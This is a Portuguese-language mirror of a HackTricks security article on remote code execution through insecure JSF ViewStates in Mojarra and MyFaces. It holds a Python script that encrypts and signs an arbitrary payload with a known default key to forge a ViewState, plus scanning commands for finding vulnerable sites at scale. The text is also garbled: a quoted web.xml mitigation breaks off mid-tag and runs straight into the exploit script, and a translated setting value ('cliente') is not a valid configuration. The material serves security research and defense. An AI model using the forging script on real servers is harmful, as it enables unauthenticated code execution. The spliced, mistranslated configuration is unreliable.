mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-22 19:13:39 +00:00
178 lines
16 KiB
Markdown
178 lines
16 KiB
Markdown
# Introdução
|
||
|
||
Depois de analisarmos [RCEs através de bibliotecas JSON mal configuradas](https://www.alphabot.com/security/blog/2017/net/How-to-configure-Json.NET-to-create-a-vulnerable-web-API.html), começamos a analisar os ViewStates das implementações JSF. [JavaServer Faces (JSF)](https://en.wikipedia.org/wiki/JavaServer_Faces) é uma tecnologia de interface do usuário (UI) para construir UIs da web com componentes reutilizáveis. JSF é usado principalmente para aplicativos empresariais e uma implementação JSF é tipicamente usada por um aplicativo da web que é executado em um servidor de aplicativos Java como JBoss EAP ou WebLogic Server. Existem duas implementações bem conhecidas da especificação JSF:
|
||
|
||
* Oracle Mojarra (implementação de referência JSF)
|
||
* Apache MyFaces
|
||
|
||
# Escopo
|
||
|
||
Esta postagem no blog se concentra nas duas implementações JSF 2.x: Oracle Mojarra (Implementação de Referência) e Apache MyFaces. Implementações mais antigas (JSF 1.x) também provavelmente são afetadas pelas vulnerabilidades descritas nesta postagem. (JSF 2.0.x foi lançado inicialmente em 2009, a versão atual é 2.3.x).
|
||
|
||
# O estado do ViewState
|
||
|
||
Uma diferença entre JSF e tecnologias web semelhantes é que JSF usa ViewStates (além de sessões) para armazenar o estado atual da visualização (por exemplo, quais partes da visualização devem ser exibidas atualmente). O ViewState pode ser armazenado no `servidor` ou no `cliente`. Os ViewStates do JSF são normalmente automaticamente incorporados em formulários HTML como um campo oculto com o nome `javax.faces.ViewState`. Eles são enviados de volta para o servidor se o formulário for enviado.
|
||
|
||
## ViewState no lado do servidor
|
||
|
||
Se o ViewState do JSF estiver configurado para ficar no `servidor`, o campo oculto `javax.faces.ViewState` contém um ID que ajuda o servidor a recuperar o estado correto. No caso do MyFaces, esse ID é um **objeto Java serializado**!
|
||
|
||
## ViewState no lado do cliente
|
||
|
||
Se o ViewState do JSF estiver configurado para ficar no `cliente`, o campo oculto `javax.faces.ViewState` contém um **objeto Java serializado** que é pelo menos codificado em Base64. Você pode ter percebido até agora que esta é uma estrada potencial para o desastre! Esse pode ser um dos motivos pelos quais os ViewStates do JSF são criptografados e assinados antes de serem enviados para o cliente. Os perigos de objetos Java serializados
|
||
|
||
Em 2015, na conferência AppSec California, [Gabriel Lawrence](https://twitter.com/gebl) e [Chris Frohoff](https://twitter.com/frohoff) realizaram uma apresentação com o título [Marshalling Pickles (how deserializing objects can ruin your day)](https://frohoff.github.io/appseccali-marshalling-pickles/). Esta apresentação lançou alguma luz sobre problemas esquecidos com a serialização de objetos Java e levou à descoberta de [várias vulnerabilidades graves de execução remota de código (RCE)](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/).
|
||
|
||
Infelizmente, levou algumas pessoas a acreditar que a vulnerabilidade poderia ser mitigada removendo/atualizando certas versões do Apache Commons Collections. Uma ação que pode realmente ajudar, mas não resolve a causa raiz do problema: Desserialização de Dados Não Confiáveis ([CWE 502](https://cwe.mitre.org/data/definitions/502.html)). Em outras palavras:\
|
||
**O uso de uma versão do Apache Commons Collections 'vulnerável' não significa que o aplicativo é vulnerável, nem a ausência de tal versão de biblioteca significa que o aplicativo não é vulnerável.**
|
||
|
||
No entanto, depois que um hacker malicioso [desligou e criptografou os sistemas da San Francisco Municipal Transportation Agency](https://krebsonsecurity.com/2016/11/san-francisco-rail-system-hacker-hacked/) via "Mad Gadget"/"Apache Commons Collections Deserialization Vulnerability", o Google iniciou a [Operação Rosehub](https://opensource.googleblog.com/2017/03/operation-rosehub.html). O objetivo da operação Rosehub era encontrar o maior número possível de projetos de código aberto Java que usavam uma versão de coleções comuns 'amigável ao atacante' como dependência e enviar solicitações pull aos proprietários do projeto para que esses projetos parassem de usar versões problemáticas de coleções comuns em novas versões.
|
||
|
||
# O ataque ao ViewState
|
||
|
||
Vamos supor que temos um aplicativo da web com uma página de login baseada em JSF:
|
||
|
||
![JSF based login](https://www.alphabot.com/images/blog/jsf-viewstate/jsf-viewstate-login.png)
|
||
|
||
Essa página de login tem um ViewState que não é criptografado nem assinado. Então, quando olhamos para sua fonte HTML, vemos um campo oculto contendo o ViewState: ViewState MyFaces não criptografado:
|
||
```
|
||
<input type="hidden" name="javax.faces.ViewState" id="j_id__v_0:javax.faces.ViewState:1" value="rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s" autocomplete="off" />
|
||
```
|
||
Se você decodificar o ViewState acima usando Base64, você notará que ele contém um objeto Java serializado. Este ViewState é enviado de volta para o servidor via POST quando o formulário é enviado (por exemplo, clique em Login). Agora, antes que o ViewState seja enviado de volta para o servidor, o invasor substitui o ViewState por seu próprio ViewState malicioso usando um gadget que já está no classpath do servidor (por exemplo, `InvokerTransformer` de commons-collections-3.2.1.jar) ou até mesmo um gadget que ainda não é conhecido pelo público. Com o gadget malicioso colocado no ViewState, o invasor especifica quais comandos deseja executar no servidor. A flexibilidade do que um invasor pode fazer é limitada pelos poderes dos gadgets disponíveis no classpath do servidor. No caso do `InvokerTransformer`, o invasor pode especificar quais comandos de linha de comando devem ser executados no servidor. O invasor em nosso exemplo escolheu iniciar uma calculadora na interface do nosso servidor baseado em Linux.
|
||
|
||
Depois que o invasor enviou seu formulário modificado de volta para o servidor, a implementação JSF tenta desserializar o ViewState fornecido. Agora, mesmo antes que a desserialização do ViewState tenha terminado, o comando é executado e a calculadora é iniciada no servidor:
|
||
|
||
![calculadora iniciada via um ViewState JSF](https://www.alphabot.com/images/blog/jsf-viewstate/jsf-viewstate-started-calculator.png)
|
||
|
||
Tudo aconteceu antes que a implementação JSF pudesse dar uma olhada no ViewState e decidir que não era bom. Quando o ViewState foi considerado inválido, geralmente um erro é enviado de volta ao cliente como "Expiração da visualização". Mas então já é tarde demais. O invasor teve acesso ao servidor e executou comandos. (A maioria dos invasores do mundo real não inicia uma calculadora, mas geralmente implantam um shell remoto, que eles usam para acessar o servidor.)
|
||
|
||
\=> Tudo isso demonstra uma vulnerabilidade muito perigosa de execução remota de código (RCE) não autenticada.
|
||
|
||
(Quase o mesmo cenário de ataque contra JSF como descrito acima já foi delineado e demonstrado na apresentação de 2015 (páginas 65 a 67): [Marshalling Pickles](https://frohoff.github.io/appseccali-marshalling-pickles/) realizada por Frohoff e Lawrence.)
|
||
|
||
# As precondições para um ataque bem-sucedido
|
||
|
||
Agora, quais são os ingredientes para um desastre?
|
||
|
||
* ViewState não criptografado (ou posse da chave de criptografia)
|
||
* Gadget no classpath do servidor
|
||
* No caso do Mojarra: ViewState configurado para residir no `cliente`
|
||
* No caso do MyFaces: ViewState configurado para residir no `cliente` **ou** no `servidor`
|
||
|
||
Vamos dar uma olhada nesses pontos em relação às duas implementações JSF.
|
||
|
||
# Oracle Mojarra (implementação de referência JSF)
|
||
|
||
Como dito antes, o Oracle Mojarra é a Implementação de Referência (RI) do JSF, mas pode não ser conhecido por esse nome. Pode ser conhecido como Sun JSF RI, reconhecido com o nome do pacote java `com.sun.faces` ou com o nome ambíguo do jar `jsf-impl.jar`.
|
||
|
||
## Mojarra: ViewState não criptografado
|
||
|
||
Então aqui está a coisa: o Mojarra não criptografou e assinou o ViewState do lado do cliente por padrão na maioria das versões de 2.0.x e 2.1.x. É importante observar que um ViewState do lado do servidor é o padrão em ambas as implementações JSF, mas um desenvolvedor poderia facilmente mudar a configuração para usar um ViewState do lado do cliente definindo o parâmetro `javax.faces.STATE_SAVING_METHOD` como `cliente`. O nome do parâmetro não revela de forma alguma que mudá-lo para cliente introduz vulnerabilidades graves de execução remota de código (por exemplo, um ViewState do lado do cliente pode ser usado em aplicativos da web em cluster).
|
||
|
||
Embora a criptografia do ViewState do lado do cliente seja o padrão no Mojarra 2.2 e em versões posteriores, não era para os ramos 2.0.x e 2.1.x. No entanto, em maio de 2016, os desenvolvedores do Mojarra começaram a retroportar a criptografia padrão do ViewState do lado do cliente para [2.0.x](https://github.com/javaserverfaces/mojarra/issues/4142) e [2.1.x](https://github.com/javaserverfaces/mojarra/issues/4141) quando perceberam que ViewStates não criptografados levam a vulnerabilidades de RCE.
|
||
|
||
Portanto, pelo menos a versão [2.1.29-08](https://mvnrepository.com/artifact/com.sun.faces/jsf-impl/2.1.29-08) (lançada em julho de 2016) do ramo 2.1.x e a versão [2.0.11-04](https://mvnrepository.com/artifact/com.sun.faces/jsf-impl/2.0.11-04) (também lançada em julho de 2016) do ramo 2.0.x têm a criptografia habilitada por padrão.
|
||
|
||
Quando analisamos as bibliotecas do Mojarra, notamos que a Red Hat também lança versões do Mojarra para os ramos 2.1.x e 2.0.x, sendo a mais recente [2.1.29-jbossorg-1](https://mvnrepository.com/artifact/com.sun.faces/jsf-impl/2.1.29-jbossorg-1) e [2.0.4-b09-jbossorg-4](https://mvnrepository.com/artifact/com.sun.faces/jsf-impl/2.0.4-b09-jbossorg-4). Como ambos os lançamentos estavam sem criptografia padrão do ViewState, entramos em contato com a Red Hat e eles prontamente criaram o [Bug 1479661 - JSF client side view state saving deserializes data](https://bugzilla.redhat.com/show_bug.cgi?id=1479661) em seu bugtracker com o seguinte conselho de mitigação para o ramo 2.1.x:
|
||
|
||
> Uma aplicação web vulnerável precisa ter definido javax.faces.STATE_SAVING_METHOD como 'cliente' para habilitar o salvamento de ViewState do lado do cliente. O valor padrão no Enterprise Application Platform (EAP) 6.4.x é 'servidor'.\
|
||
> \
|
||
> Se javax.faces.STATE_SAVING_METHOD estiver definido como 'cliente', uma mitigação para esse problema é criptografar a visualização definindo com.sun.faces.ClientStateSavingPassword no web.xml da aplicação:
|
||
>
|
||
> ```markup
|
||
> <context-param>
|
||
> <param-name>javax.faces.STATE_SAVING_METHOD</param-name>
|
||
> <param-value>cliente</param-value>
|
||
> </context-param>
|
||
>
|
||
> <env-entry>
|
||
> <env-entry-name>com.sun.faces.ClientStateSavingPassword</env-entry-name>
|
||
> <env-entry-type>java.lang.String</env-entry
|
||
```python
|
||
#!/usr/bin/python3
|
||
import sys
|
||
import hmac
|
||
from urllib import parse
|
||
from base64 import b64encode
|
||
from hashlib import sha1
|
||
from pyDes import *
|
||
|
||
YELLOW = "\033[93m"
|
||
GREEN = "\033[32m"
|
||
|
||
def encrypt(payload,key):
|
||
cipher = des(key, ECB, IV=None, pad=None, padmode=PAD_PKCS5)
|
||
enc_payload = cipher.encrypt(payload)
|
||
return enc_payload
|
||
|
||
def hmac_sig(enc_payload,key):
|
||
hmac_sig = hmac.new(key, enc_payload, sha1)
|
||
hmac_sig = hmac_sig.digest()
|
||
return hmac_sig
|
||
|
||
key = b'JsF9876-'
|
||
|
||
if len(sys.argv) != 3 :
|
||
print(YELLOW + "[!] Usage : {} [Payload File] [Output File]".format(sys.argv[0]))
|
||
else:
|
||
with open(sys.argv[1], "rb") as f:
|
||
payload = f.read()
|
||
f.close()
|
||
print(YELLOW + "[+] Encrypting payload")
|
||
print(YELLOW + " [!] Key : JsF9876-\n")
|
||
enc_payload = encrypt(payload,key)
|
||
print(YELLOW + "[+] Creating HMAC signature")
|
||
hmac_sig = hmac_sig(enc_payload,key)
|
||
print(YELLOW + "[+] Appending signature to the encrypted payload\n")
|
||
payload = b64encode(enc_payload + hmac_sig)
|
||
payload = parse.quote_plus(payload)
|
||
print(YELLOW + "[*] Final payload : {}\n".format(payload))
|
||
with open(sys.argv[2], "w") as f:
|
||
f.write(payload)
|
||
f.close()
|
||
print(GREEN + "[*] Saved to : {}".format(sys.argv[2]))
|
||
```
|
||
# Detecção de Chave Conhecida com Badsecrets
|
||
|
||
![Badsecrets](https://github.com/blacklanternsecurity/badsecrets) é uma biblioteca capaz de detectar o uso de chaves criptográficas conhecidas, olhando para os produtos que elas produzem e verificando em uma lista de chaves conhecidas ou fracas. Seu módulo `Jsf_viewstate` é capaz de detectar Java Server Faces ViewStates criados com chaves conhecidas em ambos Mojarra e MyFaces, além de ViewStates desprotegidos ou comprimidos.
|
||
|
||
A maneira mais rápida de usá-lo é com a ferramenta de exemplo `cli.py`, da seguinte forma:
|
||
```
|
||
pip install badsecrets
|
||
git clone https://github.com/blacklanternsecurity/badsecrets
|
||
cd badsecrets
|
||
python examples/cli.py Ly8gp+FZKt9XsaxT5gZu41DDxO74k029z88gNBOru2jXW0g1Og+RUPdf2d8hGNTiofkD1VvmQTZAfeV+5qijOoD+SPzw6K72Y1H0sxfx5mFcfFtmqX7iN6Gq0fwLM+9PKQz88f+e7KImJqG1cz5KYhcrgT87c5Ayl03wEHvWwktTq9TcBJc4f1VnNHXVZgALGqQuETU8hYwZ1VilDmQ7J4pZbv+pvPUvzk+/e2oNeybso6TXqUrbT2Mz3k7yfe92q3pRjdxRlGxmkO9bPqNOtETlLPE5dDiZYo1U9gr8BBQ=
|
||
```
|
||
Se encontrar uma correspondência, também listará a plataforma (Mojarra ou MyFaces), o algoritmo de criptografia em uso e se a compressão foi usada ou não, que são todos essenciais para a exploração.
|
||
|
||
Para procurar por viewstates vulneráveis em escala, em conjunto com a enumeração de subdomínios, o módulo `badsecrets` [**BBOT**]() pode ser usado:
|
||
```
|
||
bbot -f subdomain-enum -m badsecrets -t evil.corp
|
||
```
|
||
# Considerações finais
|
||
|
||
A maioria dos fatos sobre JSF ViewStates e seus perigos apresentados neste post não são exatamente novos, mas parece que nunca foram apresentados de forma tão condensada. Isso mostrou [mais uma vez](https://www.alphabot.com/security/blog/2017/net/How-to-configure-Json.NET-to-create-a-vulnerable-web-API.html) que mudanças de configuração aparentemente inofensivas podem levar a vulnerabilidades graves.
|
||
|
||
\=> Um dos problemas parece ser a falta de transferência de conhecimento entre pesquisadores de segurança e desenvolvedores que realmente usam e configuram bibliotecas que podem ser perigosas quando configuradas de certas maneiras.
|
||
|
||
# Referências
|
||
|
||
* [https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html](https://www.alphabot.com/security/blog/2017/java/Misconfigured-JSF-ViewStates-can-lead-to-severe-RCE-vulnerabilities.html)
|
||
* [https://0xrick.github.io/hack-the-box/arkham/](https://0xrick.github.io/hack-the-box/arkham/)
|
||
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
- Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
|
||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
|
||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
||
- **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|